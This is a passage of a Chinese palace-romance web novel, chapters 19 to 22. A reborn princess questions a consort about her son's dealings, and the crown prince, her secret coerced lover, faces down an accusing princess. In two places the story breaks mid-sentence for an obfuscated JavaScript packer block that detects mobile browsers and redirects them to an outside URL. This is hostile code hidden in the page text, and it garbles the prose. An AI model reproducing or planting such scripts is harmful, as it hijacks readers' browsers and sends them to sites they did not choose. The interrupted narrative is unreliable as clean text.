说到这里,丽妃顿了顿,掀起漂亮的眼眸,神色有些抱歉:“你不要多心,你六哥没别的意思……” 赵清漓嘴角抽了抽,大概明白赵齐在讲述事情经过的时候无可避免的提到了自己在宫宴上的种种表现。 她表示理解。 丽妃又说:“兴许他也是听人随口说的,不能当真,不过……霁月宫距离芙蕖苑不远,但我也甚少见过她。” 赵清漓歪着头追问:“离得这么近,她也不曾来向您请安吗?” “她待你父皇和皇后尚且如此,又怎么会来向我请安呢?”丽妃伸出食指轻点了下她的额头,理所当然道,“不来也好,凭她那火爆性子,我还真不愿和小辈置气!” 丽妃释然地笑了笑,语气中带着许多无奈:“我呀,只希望我的齐儿好好的、安安稳稳的过好这一辈子。” 凭丽妃的姿容,早些年她若是有心争宠,恐怕早就坐上贵妃之位了。再看惠贵妃,半生都在为权位殚精竭虑,可惜瑞王也没落得个好下场。 可怜天下父母心,比起追逐名利,丽妃要的只是儿子一生安稳罢了。 赵清漓由衷地随着丽妃叹了一声,真诚的道:“六哥既细心又体恤娘娘,一定不会让您失望的。” “你贯会安慰我!”丽妃嗔笑一句,拢了拢鬓边的碎发,垂着眉眼叹道,“我也不指望他像澜予和澜之那样有出息,只要不犯错、少惹你父皇生气,我也就知足了,断不要像瑞王一样……哎!罢了罢了……” 赵清漓知道她在担心什么。 瑞王那样优秀,又得父皇偏爱,最后却为了个女人一失足成千古恨,落得个流放的凄凉下场。丽妃只有赵齐这么一个儿子,偏生又是个沉迷女色的性子,若真是步了瑞王的后尘,丽妃恐怕也活不下去了。 “娘娘……”赵清漓想了想,欲言又止,“六哥平日里可跟您提过朝堂上的事?” 丽妃果断地摇摇头:“他在朝堂上哪有什么正事,身边连个可以话事的人都没有,最多收人些银钱替人谋个一官半职罢了,都不是什么大事……” 她要说的就是这个! 本来还在犹豫该如何挑起这个话头,没想到丽妃竟然先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999037|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她一步提起了。 赵清漓心里一喜,急道:“官员任命最为谨慎,您怎么能说不是什么大事呢!” 丽妃一愣,自然地解释:“吏部对上任之人都是经过严格审核的,再说了,那些求他帮忙的人大多都是乡士举子进士,你六哥请教过淮王,他也说过没什么问题的。” 淮王对政事向来熟络,若有淮王提点,赵齐自然能安心。 只是周砚枕那里众多弹劾文书,赵清漓也觉得纳闷,淮王到底是怎么提点的?还是说赵齐自诩聪明,一开始是找淮王询问过,后来又自己做主了? 丽妃把她的神情变化都看在眼里,又想起她的新婚驸马正是经管此类事务的御史中丞,心中顿时紧张起来。 “你向来不问朝堂之事,这次可是周大人有什么指教?”丽妃小心翼翼地开口。 还不确定那些被弹劾人是不是真的和赵齐有关,即便有关,他们之间是否有更深的牵扯也还没搞明白,还是不要透露太多的好。 赵清漓斟酌了下:“与他无关,是我碰巧看到几封折子,觉得上书中的名字看着眼熟,似乎是六哥引荐的人。” “折子?”丽妃重复了一遍,疑惑道,“可是弹劾的折子?” 赵清漓点点头。 丽妃的脸色难看起来,手中丝帕都被攥的变了形。 赵清漓心中一动,故意把语气放的轻松,劝道:“娘娘也不必太忧心了,这文武百官尚且在朝堂互斗不止,弹劾文书几乎日日都有,不稀奇的。” 见丽妃还是不为所动,依旧很紧张,赵清漓眨眨眼:“要不这样,您得空好好同六哥聊聊,话也别说得重了,兴许六哥毫不知情,都是一场误会呢?” 话是这样说,但两个人都心知肚明,即便赵齐真的只是识人不清错误引荐了他们,可若弹劾文章累积的越来越多,一旦爆发呈情给了圣上,凭他往日的表现,必不会轻罚。趁此机会自查,尽早弥补,事情可能还有挽回的余地。 这是往好了说。 往不好了说,如果赵齐和他们一直保持着源源不断收受贿赂的情况,甚至还有更深的牵扯,一旦东窗事发,这件事情再难挽回了。 但赵清漓觉得她这位六皇兄不是这样的人,他虽然爱财又贪图享乐,却也不至于如此没有底线,明知他们并非善人还要帮衬,这不是故意引火烧身吗? 丽妃对自己都儿子更是了解,她绝不会相信赵齐做得出这种事。 窗棂半开着,窗纸的阴影下,一只麻雀扑腾着翅膀越过窗户,羽翼打在木格上闹出好大的动静,原本沉默的房间陡然被它惊扰,结束了短暂的寂静。 赵清漓眸光闪了闪,而后先一步站起身来:“时候不早了,我还想去父皇那儿瞧瞧,就不打扰了,娘娘留步。” 丽妃神色有些恍惚,笑得十分勉强:“也好,你去吧。” 赵清漓含着笑走出几步,又听得丽妃喊她。 丽妃三两步追上,脸上带着为难:“清漓,还要麻烦你和周大人说说……” 赵清漓笑道:“我和六哥从小一起长大,我自然相信他的。娘娘放心,若有什么情况我一定知会您。” 19. 第 19 章 七月盛夏的时候,芙蕖池的花开得最好,香远益清,无须近前。而现在,宽阔的水面上落叶满池,上个月还是翠绿色的荷叶已经枯黄凋败,稀零地漂浮着,加之这里不如御园热闹,更显得凄凉。 四季更迭,这样的场景其实每年都能见到,可一旦人的心境变了,再看同样的风景也会生出不同的感慨。 赵清漓拖着沉重的步伐,叹了一口气,接着又叹一口气。 春桃不知道她为什么烦闷,只想着应该开解一下,便挑起话头:“方才走的时候您跟丽妃娘娘说要去看圣上,咱们要不要回去准备点什么?” 赵清漓道:“不用,方才只是随口一说罢了。” 刚才见到丽妃心情不畅,总归话已经说到那了,她再留下去也没什么意思,便找了个托辞离开。 春桃“噢”了一声,又在思索还能说点什么,转眼已经走出石桥,枯黄的叶片漂浮在水面上,远远望去像一滩浑浊的污水,脏兮兮的是让人心情不大好。 距离芙蕖苑同样越来越远,赵清漓突然想到刚住进去不久的不速之客:“你与太子最近可有联系?” 春桃被这突然的问话吓得心口一紧,支支吾吾的:“我……奴婢、奴婢没说什么……” 赵清漓自然知道她们每日都有联系,否则赵辞怎么会如此清楚自己的一举一动,她要问的并非这个。 “你在太子宫里可有听他提起过长宁公主的事?”赵清漓摸了摸下巴,露出思索的表情,“六哥说赵姝绾甚少待在皇宫里,这里到处都是太子的人,他会不知道这消息?” 春桃砸砸嘴,她去见太子还能回禀什么事?再说了,太子殿下是何许人,怎么会和她一个丫鬟说这些,又岂会让她一个丫鬟听到那么多消息。 当然,这些话春桃也只敢诽腹几句,面上还是老老实实回答:“没有……” 赵清漓脸上露出失望的神色,春桃见势补充:“您何不直接去问太子殿下,他若是知道一定会告诉您的!” 赵清漓的确有这个想法,但她的脑海中时常会涌现昨晚醉酒时她和赵辞的对话,虽然不清晰,但每每想到有可能是真实发生过的,她都会觉得头皮发麻。 若要见他,恐怕还得再冷静冷静…… 赵清漓自觉点点头,赞同了自己的想法。 正想着,春桃突然轻扯了下她的袖子,指着不远处亭台栏下小声惊讶道:“您瞧!那不就是太子殿下吗……咦?旁边那位似乎是长宁公主?” 的确是长宁公主。 赵清漓眉心微动,眉梢跟着缓缓拢起,猝然停下了步伐。 春桃也紧紧抿住嘴,悄悄观察赵清漓的脸色,不敢再发出声音。 视线中的两人对峙而立,不知道在说些什么。没过一会儿,就见长宁公主先沉不住气,不断抬起胳膊挥动,亦或指着对方。 反观赵辞,似乎一直冷静的听着。 好像是起了争执。 春桃侧目看了看赵清漓,向她提议:“要不咱们过去瞧瞧?太子殿下不会吃亏吧?” 赵清漓冷冷扫她一眼,反唇相讥:“他什么时候吃过亏!” 春桃挠了挠头:“话是没错,不过长宁公主不是什么讲理的人,真要动起手来,太子殿下也不能打她吧!” 这话说的,像是在影射自己先前和长宁公主撕扯一样,那她又算什么? 赵清漓定了定神,反正刚好有事要问他,就……假装刚好路过吧! 不对,本来就是刚好路过! 想到这里,赵清漓摸了摸头上的珠钗,整理好被风吹的微乱的鬓发,脸上的表情也收敛的看不出一丝破绽,可是心里却有种莫名的心虚和怪异,手心儿也浸了一层薄薄的汗。 接着她昂首阔步的朝那两人方向移动,春桃回过神急忙跟上。 咚咚、咚咚…… 心脏跳动的声音跟着步伐越来越沉重,越来越坚定。 突然,她瞳孔猛的一缩,葡萄一般剔透的眸光中映着两道长长的人影,一只手正愤然抬起头,带着全身气力似的挥去—— “皇兄!” 啪—— 骨节分明的手指精准地捏住对方挥驰而来的掌掴,看起来没用什么力气,却让长宁公主不能撼动分毫。 随后两人一起转过头,神色各异地望着这道声音的来源。 那声“皇兄”出口的瞬间,赵清漓悔得真想咬断自己的舌头。怎么瞧见他要挨打便慌了神,不受控制地脱口而出了! 倒是赵辞,一边握住长宁公主的手腕,一边笑吟吟地看着她:“清漓,这么巧,你也要去看父皇?” 赵清漓偏头看向还在挣扎的长宁公主,明显感觉到对方脸上怒意更盛了。 她掩起口,垂眸收拾了下表情,像是什么都没看到一般,回以笑容。 “只是刚好路过,恰好看到皇兄和……”赵清漓疑惑地歪过头,“……皇姐,你们这是怎么了?在吵架吗?” 长宁公主恨恨地瞪了赵辞一眼,从他手中抽回自己的手腕,用同样愤恨的目光夜瞪了一眼赵清漓,讥讽的语气说道:“那还真是巧啊!” 这个“巧”字咬得很重,明显是咬牙切齿说出口的。 冤枉啊!她真的是刚好路过,不能因为觉得她看到了不该看的,就认定她是故意的吧。 赵清漓顿感无奈,扯了扯嘴角问道:“皇姐这话从何说起?” 这句话像是点了引线,长宁公主趾高气扬地抱着手臂,眼神里带着鄙夷:“难怪赵辞总是护着你,赵清漓,抱上太子这棵大树,你心里可乐坏了吧!” 赵清漓不解地拧眉,长宁公主似乎话里有话。 “还装?”长宁公主喝了一声,反将矛头对准她,“我还真是小看了你们,一个太子、一个公主,在天子眼皮子底下居然也能做出这种秽乱宫闱之事!” 一句句指责如同雷击,直直地砸在赵清漓的头上,从颅顶贯穿至心口。她猛的瞪大双眼,呼吸急促地收紧,连心跳都骤停了一瞬,不敢相信自己听到了什么。 她的指甲狠狠嵌进肉里,努力稳住想要踉跄后退的身形。 长宁公主是怎么知道的! 赵清漓不敢转头去看赵辞的表情,她怕自己一旦看到那张脸,会忍不住露出更大的破绽。 然而这些感受和想法都发生在短短瞬间,她还来不及反应,赵辞已经挡在她面前,宽厚的肩横在她和长宁公主之间,竟让她生出几分心安的感觉。 “长宁公主慎言。”赵辞语气仍然冷静,像是长宁公主口中之人并不是他一样,偏头回望了赵清漓一眼,淡淡的口吻提醒道,“你既然知道本宫是太子、清漓是公主,就应该清楚我们是兄妹、是血亲。” 长宁公主并不吃这一套,扬眉看着他:“你还知道你们是兄妹啊?我说赵辞,你就不怕那老头儿知道了,一不小心咽了气?” 接着她顿了顿,拍着巴掌假装懊恼:“噢——我说错了,他要是死了,你可就是下一个皇帝了!你应该高兴才对!如此眼界,不愧是太子!哈哈哈哈哈——” 长宁公主的笑声越来越狂妄,引得几个隔岸经过的太监忍不住抬头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16999038|193936||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张望,待看清亭台外争辩的几人是谁,又全都把头低的死死的,恨不得钻进地下,灰溜溜的快步逃跑了。 但这么下去不是办法,迟早会引来更多人注意。 赵清漓慌乱的出了一身冷汗,另一面也气恼,明明是赵辞做出这种事,为什么担惊受怕的只有自己,他还是一脸坦然,好像在听不相干的事情一样,他当真不怕事情败露? 赵辞面无表情地听着,突然跟着嗤笑了一声:“你可有证据?” 这句话被他问的很轻,却字字清晰,把赵清漓陡然拉回现实,赵辞不光是在提醒长宁,也提醒了她。 后宫之中捕风捉影之事太多,凡事都要讲个证据,当初的瑞王不也是被抓了现形才处理的吗? 当然,赵清漓不会想象自己被抓现形的后果。她只是渐渐平静下来,想到以赵辞的行事风格,断不会让人轻易抓住把柄。他筹谋了那么久,还没有坐上他渴求的龙椅,怎么会放任其他人破坏他的计划。 长宁公主不过回宫半月,在宫里又没有熟知的人,说不定都是诈她的! “证据?”长宁公主得意的神情微微一滞,偏头看向赵辞身后,气急败坏道,“赵清漓!你哑巴了?你心虚什么,敢做不敢认吗?” 赵辞面露不悦,眉宇间笼罩着一层阴霾,沉声说:“你吓到她了。” 长宁公主立刻揶揄道:“哟,太子殿下可真是体贴,我才刚说了两句,你这又袒护上了,还敢说你们没什么?” 听到这里,赵清漓已经可以确定长宁对他们的指控都是猜忌。 她不知道长宁是从哪里听说的,又或是从什么时候开始起疑的,而且连自己和赵辞并非亲生兄妹都不知道,这就让赵清漓更加确信长宁公主在后宫并没有什么可靠的消息来源。 总之,她没有证据。 既无证据,她和赵辞真有什么又能如何? 赵清漓抱歉地笑了笑,上前一步:“就算皇姐对我有诸多不满,也不能将秽乱宫闱的罪名扣在我的头上,这……清漓担待不起。至于我和皇兄——” 说到这里,她仰着脑袋看向赵辞,迎上他含着笑意风平浪静的眼眸,微微勾起唇角看向长宁公主:“皇姐从小在王府长大,身边又没有什么兄弟姐妹,难怪会误解我们兄妹间的感情。不过清漓还是要提醒皇姐,男女之间可不是只有情爱,你的眼界似乎太狭隘了。” “你敢讽刺我!”长宁怒喝一声。 赵清漓退了半步,偏头躲开长宁公主伸向自己的手,半个身子藏在赵辞身后,颇有点你说我们有染,我便偏要给你看看我们有多亲近的意思。 理不直,气也壮,显然是有意气她。 赵辞眼底闪过一丝赞许,不动声色地把目光重新放回长宁公主身上:“长宁公主既说本宫与清漓有私,你可知她的驸马便是由我引荐,若真如你所说,我又怎会放任她和别人成亲,周中丞夹在我们二人之间,又岂会对此事毫无察觉?” 赵辞字字珠玑,若非她正是当事人之一,恐怕也会信了他的能言善辩,任谁有能想到她这位驸马是甘愿做他的傀儡,陪他演这出戏的。 而且…… 赵清漓情不自禁地偷瞄了赵辞一眼。 若他真对自己有情,为何会放任她和周砚枕成亲呢? 就算周砚枕是他一手安排的名义上的驸马,试问天下哪个男人能亲手设计自己心爱之人投入他人怀抱。 周砚枕不爱她,所以能够接受她和赵辞暗通款曲,那赵辞呢? 就因为他是赵辞,所以能忍旁人所不能忍吗? 20. 第 20 章 “周砚枕那个蠢货,被骗了还要上赶着给人当狗!”长宁公主冷哼一声,眼中的寒芒像是要把赵辞千刀万剐,“昨日宫宴她的夫君就在身边,如何轮得到你去照顾?” 赵辞不紧不慢地回她:“本宫还是那句话,我与清漓自幼亲近,照顾她是我的本分,哪怕她嫁了人,有了子嗣,只要清漓有需要,我还是会照顾她。” 说罢,他笑了笑,眼中光亮的一片坦荡。 啪、啪、啪、啪。 长宁公主手掌鼓得振振作响,大声道:“说得好!那敢问太子殿下,当年听闻岭北可汗求娶我朝公主时,你在露华殿前跪了整整一夜,只为求你的好父皇不要把赵清漓嫁出去,这——也是你的本分?” 什么? 赵清漓脸上一片愕然,怔怔地看向长宁公主,又看向她正质问的赵辞,眼底闪过一丝复杂。 当年岭北使者来访,将他们可汗有意结亲的书信和献礼一同奉上,消息立刻在宫中传开,所以人都以为赵清漓此番必定远嫁,连她自己也这么认为。三日后使臣离开,同样带回岭北的还有永元帝答应结亲的回复。 令人没想到的是,永元帝突然下旨封恒郡王独女赵姝绾为长宁公主,一个月后嫁往岭北,而恒郡王也变成了恒亲王。 对外,永元帝一直声称赵清漓年岁尚小,嫁予可汗恐怕失礼,但她当时已经年满十五,按常理是可以出嫁的。因此,所有人都认为是永元帝太宠爱这个女儿了。 赵清漓也是这么听说的。 她从没听过赵辞下跪这件事,更不知道他跪了整整一夜只是为了她能留在大历。 长宁公主瞧见她一脸错愕,十分不满地拧起眉头:“怎么,你想置身事外,说你对此事毫不知情吗?” 赵清漓沉默了一会儿,幽幽地说:“我的确不知。” 她也知道长宁公主定然是不会相信的,她在此事中显然是最大的受益者,在长宁公主心中,恐怕已经认定是她去求了赵辞,或者两人根本早已暗生情愫,否则赵辞不会做到如此地步。 但她对此事真的毫不知情,也没人告诉过她其中还有这层关联,包括赵辞自己。 想到这里,她不由得又向赵辞看去。 尽管长宁公主一直咄咄逼人,明嘲暗讽地激怒他,赵辞却一如既往站的挺拔,毫无波澜地静静听着,似乎在思考什么。 金色的华服在阳光的照映下像是给他镀了一层金边,后背胸前的蟒纹上勾着黑玉和银线,看起来栩栩如生,衬得他整个人矜贵又傲气。 突然,他垂眸笑了一声,理所当然道:“从大历到北境路途遥远,岭北苦寒,可汗年岁又大,本宫怎么舍得自己的妹妹去那种地方,父皇亦是如此,本宫不过是帮父皇排忧解难,条条状状,哪些不是本分?” “至于你——于皇叔,你是独女,于大历,你是郡主,但于本宫——”赵辞眼底掠过一丝嘲讽,看向长宁公主时微微抬起下颌,带着蔑视,“赵姝绾,你以为自己是个什么东西?” 长宁公主错愕地愣住。 她从没被如此看轻过,就算许多人对她颇有微词,也从没有人敢这么不屑的问她算什么东西。更重要的是说这话的人是赵辞。太子一直是温良恭谦的代名词,他怎么能说出这种话? 就为了一个赵清漓? 好在赵清漓已经见识过他的表里不一,因此在听到这些话时,并没有露出太多诧异的神色,只是心里难免还会触动。 他的这些话究竟是真心还是假意,他所做的事究竟是为了她还是另有原因。 为何他说的话和做的事总是十分矛盾,但细想下来,似乎又仍能归根一处。 她不明白。 长宁公主几乎以为自己听错了,半晌才缓过神来,指着赵辞便骂:“你又是个什么东西,敢这样侮辱我?” 赵辞已经没了耐心,不悦地打断她的话:“本宫是大历的太子,当朝皇帝的亲生儿子,而你不过是一个失势王爷家里养着的没什么见识的女儿,你怕是忘了,就连你的公主封号都是父皇施舍给你的。赵姝绾,你现在要学的是认清自己的身份,别以为和他沆瀣一气就能讨得什么便宜,像你这般没脑子的,连骗都是多此一举。” 说完这些,赵辞拉着赵清漓转身便走,走出两步又停下,扬起薄唇丢下一句:“蠢货。” “你!” 赵清漓一边被他拉着往前走,回头看去,长宁公主张牙舞爪地就要冲上来。 她不断回头张望,暗道赵辞是不是疯了,明知道长宁公主是个难缠角色还要这样羞辱她,这下麻烦了! “无妨。”赵辞另一只手掰过她的脑袋,柔声提醒,“看路。” 真的没事吗? 还没等她问出口,就听得身后传来长宁公主破口大骂的声音,赵清漓用余光回望了一眼,当下便明白了。 她仰着脑袋问赵辞:“容追一直在附近吗?” “嗯。”赵辞含笑点头,“他是我的暗卫,自然一直都在。” 赵清漓抿了抿唇。 暗卫啊...... 赵辞偏头看了她一眼,又说:“也不是一直都在,我去见你的时候,他不会跟着。” ...... 她不是那个意思...... 赵清漓撇了撇嘴,想起刚才他们的对话:“对了,你方才说''他'',''他''是谁?” 赵辞沉吟片刻,说道:“方才赵姝绾说起旧事,我便在想是谁告诉她的,这件事知晓的人并不多,所以......” “所以?”赵清漓停下步伐,急切地追问。 照他这样说,长宁公主在宫中还是有些耳目的,那她们会不会和前世灭族之事有所牵扯? 赵辞却有意卖关子似的,眼中带着一丝探究:“你很在意?” 当然在意! 可她又不能直说...... 这么天方夜谭的话谁会相信呢? 赵清漓悄悄抽回手腕,尴尬地笑了笑:“我只是想知道......皇兄为了我去求父皇的事是不是真的。” 他的唇线微不可闻地紧了紧,目光微微转寒,幽声道:“清漓,你骗不了我。” 他太了解自己了。 了解到一个眼神、一个动作、一个语调,就能让他轻而易举的猜到自己心里想什么。 小的时候她总觉得这样很好,她的太子哥哥知道她的喜好,因此总能送她最合心意的礼物,说她最喜欢听到的 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“你总是想和我拉开距离,总是刻意回避我。”赵辞冷声截断她的话,扯上她的手腕强迫她抬头直视自己,“就因为我强迫你委身于我,就因为我毁了你想和周砚枕琴瑟和同的美梦吗!” “三皇兄!”赵清漓一声厉喝,紧张的朝四下看了一圈。 赵辞嗤笑道:“怕人看见,还是怕人听见?” 闻声,赵清漓挑起眉抬眼看向他,反问:“你不怕?” 赵清漓想,他一定是怕的,他若不怕,刚才和长宁公主对峙之时就不会一直开脱。 他必须承认,他和自己本就不该有任何的感情交集,即便有了也是见不得光的。 赵辞哑然失笑,拉着她手腕的力度加深了几分,凑近她的耳朵:“我为什么要怕?你我本就不是真正的血亲,赵姝绾不清楚,连你也忘了吗?” 赵清漓蹙眉,反手不断挣脱。 她不喜欢赵辞这样的语气,更不想在大庭广众之下和他这样纠缠。 赵清漓惊讶的发现,她居然比赵辞更怕被人瞧见。 然而闺阁女子的力气怎会比得上勤勉习武的男子那样孔武有力,赵辞只需稍稍用些劲儿就能将她玩弄于股掌之间,动弹不得。 见状,赵清漓强忍着心中不平之气,寒眸望着他:“皇兄难道忘了自己说过的话?” “哦?”赵辞歪着头,脸上带着玩味神色,“不知清漓说的是哪一句?难道是——” 只看他的表情,赵清漓就知道他不会说什么很好入耳的话,索性便不听。 赵清漓立刻打断他,提醒道:“我曾问你究竟想要什么,你说想做皇帝,怎么,皇兄现在改主意了?” “倒是没有。”赵辞依旧那样看着她。 赵清漓被他的神情看得不舒服,不自然地想要别开脸,却被微凉的手指捏着下巴转了回来。 她咬牙警告:“你若再纠缠,皇位一定会离你越来越远!” 赵辞笑了笑,握着她的手腕拉向自己,直到微微低头便能触及她,满意道:“若我说,皇位和你我都要呢?” 21. 第 21 章 他不会是在做梦吧? 赵清漓微微睁大双眼,清澈的眸中映着他志在必得的表情,像是在陈述一件必然的事,她险些被他的狂妄气笑了。 二人就这么僵持不下,偏偏姿势又十分的暧昧,虽然这条小道没什么人来往,但若再待下去,势必会让人瞧见。不论赵辞是不是真的无所顾忌,她不能冒这个险。 赵清漓的目光带着更沉的怒气,挣扎的也比方才厉害一些,呵斥道:“放手。” 这种毫无震慑之力的呵斥显然不足以打动他,赵辞不为所动,眼角的笑意更浓。 他在享受赵清漓对他无可奈何的愉悦,这让他觉得颇有成就感,这种能把控一切的感觉让他觉得......心安。 既然如此,也没必要客气了。 赵清漓的目光落在他用力攥紧的手上,他的手指很长,可以轻松捏紧她包裹着袖口的手腕,指骨弯曲后更显削瘦,唯有手背白皙光洁,赤裸裸地展现在她面前。 近在咫尺,如同邀请。 盛情难却,只能却之不恭了。 赵清漓用力咬上他的手背,一侧的尖齿似是刚好落在他皮肤之下的的青筋,她能清晰地感觉到赵辞的身体紧绷了一瞬,仍是没有松手。 他好能忍。 赵清漓自认为下了狠劲,换作是她,这会儿手恐怕已经没有知觉了。 赵辞任由她咬着,清雅的声音带着一丝不易察觉的隐忍,张口却是打趣:“那天晚上你也咬了我,最后可捞到什么便宜了?” 赵清漓报复性地加重了咬合的力道,甚至能听到骨头在皮肉下挣扎摩擦的声音,但握着她的手也在加重力气,她掀起眼帘,却只看到赵辞紧紧皱起的眉头,以及绷起的下颌线条,同样低头注视着她。 该死! 事情已经到了这个地步,干脆把他的手咬穿算了! 这个想法在脑海中刚刚闪过,一只大手突然自下而上袭来,瞬间捏住了她的下巴,指腹在两腮用力一挤,正在用力的贝齿立刻不受控制地打开。 赵辞钳着她的脸向后轻轻一带,自己则是后退了半步,而后松开了手,隔着一臂的距离看着她,眼神如初冬雪后结霜的湖面,冷冽、平静。 赵辞低下眼眸,弦月形的咬痕间溢出丝丝殷红的血迹,他抬手抻起一只袖子,漫不经心地擦拭着被咬伤的手背,喉头动了动:“比起你的牙尖嘴利,我还是更喜欢你求我的样子。” 赵清漓正揉着自己发酸的脸颊,听到这话懵了一下,还在思考自己什么时候求过他,又瞧见赵辞已经擦拭干净他手上的伤口,负手望着她,一字一句道:“你知道吗,你醉酒的时候可比现在坦率多了。” 轰的一声,她的大脑如遭雷击。 原来那些话她真的说过! 赵清漓眼底闪过一丝慌乱,迟疑了片刻:“我......” “你现在是想告诉我,昨日你说的都是胡话,算不得数吗?”赵辞盯着她的眼睛,凤眸中的锐利刺得她心虚地咽下了后半句话。 而后赵辞笑道:“昨晚回去后我仔细想了想,我的清漓虽爱玩笑,绝不是信口胡诌的人,所以我想请你告诉我——” 他顿了顿,调笑的表情收敛起来,认真问道:“你说你死过一次,究竟是什么意思?” 为什么要喝酒!为什么如此口无遮拦! 赵清漓悔不当初,心中立刻开始盘算要怎么将他蒙骗过去。 她悄悄抬起眼皮看了他一眼,只觉得赵辞的神色看起来格外阴沉,脸上好像写着四个大字:别想骗我! 赵清漓又犹豫了。 她这般暗自摸索了许久,至今也没个头绪,但赵辞就不一样了,他的太子身份让他拥有许多人脉和权力,而且赵清漓知道,赵辞身边有许多暗卫和死士,除了稍微熟悉的容追以外,还有很多她叫不上名字,甚至从未见过的。 相比之下,赵辞显然更有优势,若真要调查起来,效率自然是她比不了的。 只有一点,大历盛世除了布衣百姓,鲜少有人对鬼神之说信服,在宫中若有人胆敢宣扬怪谈更是会被重重责罚,她实在无法解释自己重生的事。 犹豫了许久,赵清漓沉叹一口气。 总归赵辞这个人难以捉摸,心思更是深不见底,没那么好骗的,因此,她想赌一把。 赵清漓抬头,郑重地问:“你会信我?” “自然。”赵辞点头,等她继续说下去。 “好!我告诉你!” 下定决心,赵清漓深吸了口气,眉宇中带着一丝凝重,小心翼翼地在四周扫视一圈,最终拉着他的袖子,示意他凑近点。 赵辞听话地微微弯腰,将自己的上半身靠近过去,附耳去听。 赵清漓掩着口,悄声在他耳边说道:“九月十七,我看到了满城的鲜血,整座皇宫的人都死了。” 说罢,她连忙抬头看了赵辞一眼,观察他的神情。 没想到赵辞脸上却无半分波澜,淡淡点了点头:“然后呢?” 赵清漓惊讶地“咦”了一声,问道:“你、你怎么一点也不吃惊?你不觉得这些话十分荒谬吗?” 赵辞偏过头,用一种非常理所当然的眼神看着她:“我说过,回去之后我已经仔细考虑过你说的话,我若不信你,便不会再来问你。” 好像是这个道理。 “我......”赵清漓回忆了一番当时的场景,不确定道,“我不知道是谁,我只记得有个男人,拿了一把很长、很锋利的剑。” 赵辞沉思了片刻,耐心询问:“那个人的长相如何,身形如何,声音是什么样的,若再见你可认得出?” 赵清漓的脸色瞬间垮了下来,颓败地小声嘀咕:“不知道,那天晚上下了很大的雨,声音很乱,我听不清,而且他带着青铜面具,脸被挡的严严实实的,穿的又是黑衣......” “我只知道他很高!” 听她说完,赵辞默默看了她一眼。 赵清漓抿唇,她清楚的从他眼神中读出一抹无奈和叹其不争气的意味。 她自己也很无奈,若是她了解的清楚,那事情可不就好办了吗?何必在这里猜来猜去,还要留心谁和皇室有怨。 时至今日,她的怀疑名单里还只是只有一个赵姝绾,偏偏她又认为赵姝绾势单力薄,不像能做出这些事的人。 直到方才赵辞提到了那个“他”。 “所以皇 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白玉栏边,周砚枕一手捏着小巧精致的茶杯,衣角被秋风吹得扬起又反卷,他却浑然不觉。目光远眺着面前随风泛起波纹的水面,似是在出神。 这处小小的池塘里养着几条锦鲤,气候暖的时候都争抢着跃出水面,现在凉了,倒也都少见踪影,在水底躲着。 忽的,门外响起动静,紧接着是春桃小跑着进门,气息还有些微喘。 周砚枕目光微微闪烁了几下,收回目光,转头看向声音的来源,询问道:“只有你一个人?” 春桃愣了愣,恭敬地回他:“回驸马,是、是容追大人让奴婢先回来的,公主她......和太子还有些话要说。” 周砚枕上下打量她一遍,见她头发被风吹的凌乱,心下了然,问道:“可是遇见长宁公主了?” 春桃吃了一惊,暗想太子身边的人果然各个不同凡响,她还什么都没说呢,人家可就猜到了。 春桃点点头,想到周砚枕本就是太子看重的人臣,便和盘托出:“奴婢随公主一同去看丽妃娘娘,回来时正好遇见了太子和长宁公主......似乎在争执......” 说到这里,春桃有些迟疑,结结巴巴了好一会儿才继续说道:“......后来太子殿下便拉着公主离开了,奴婢本想跟上去的,但容追大人让奴婢先回来告诉您一声......” 周砚枕见她这副样子,立刻明白了春桃有不能明说的事,抬手撤去洒扫的丫鬟仆人,而后转身进了书房,春桃知趣地跟着进去。 大门轻扣,房间里安静了片刻,才想起周砚枕的声音:“说吧。” 春桃放松下来,一五一十地回禀:“回驸马,容追大人让奴婢转告您,长宁公主对太子和公主的关系已经起了疑心,她对圣上、太子和公主皆恨之入骨,今日又在太子那里吃了亏,必不会善罢甘休的。” 周砚枕垂眸思索了一下,问道:“是因为那日宫宴上的事?” “不单是。”春桃摇了摇头,“是有人将当年的事透露给长宁公主,容追大人只说了这么多,他说您听了会明白的。” 22. 第 22 章 原来如此。 周砚枕微微眯起眼,在屋里来回踱了几步,思忖间想到几人之间的联系,突然问道:“公主今日去霁宫,和丽妃聊了些什么?” 春桃并未一直跟在赵清漓身边伺候,送完衣裳就被丽妃宫里的明穗一起被赏了下去喝茶,两人有一搭没一搭的讲讲宫中琐事,她哪里知道关起门来的主子们在聊些什么。 春桃谨慎的提起:“驸马彻夜未归,公主殿下曾让夏荷去宫门口打探消息,后来六皇子便来找公主。” 周砚枕默默听着,这些他都已经知道了,否则太子也不会着意警告他。 “那晚宫门刚刚下钥,六皇子殿下便满身酒气的来了,走的时候奴婢恰好路过门外,就听六皇子说了那么一句——”春桃猜测道,“奴婢想,公主殿下去看望丽妃娘娘也只是尽她皇家子嗣的本分而已。” 春桃的想法顺理成章,听起来的确没什么问题。 但周砚枕总觉得不止于此,依照他所熟悉的赵清漓,在经历过欺瞒和背叛之后,她应该是崩溃瓦解的,然而并没有,冥冥中似乎有什么在支撑着她,又或许她本就坚强,是他从未了解清楚...... 还没等他理出头绪,又听见外头有宫人行礼的声音,喊了一声“公主殿下回来啦!” 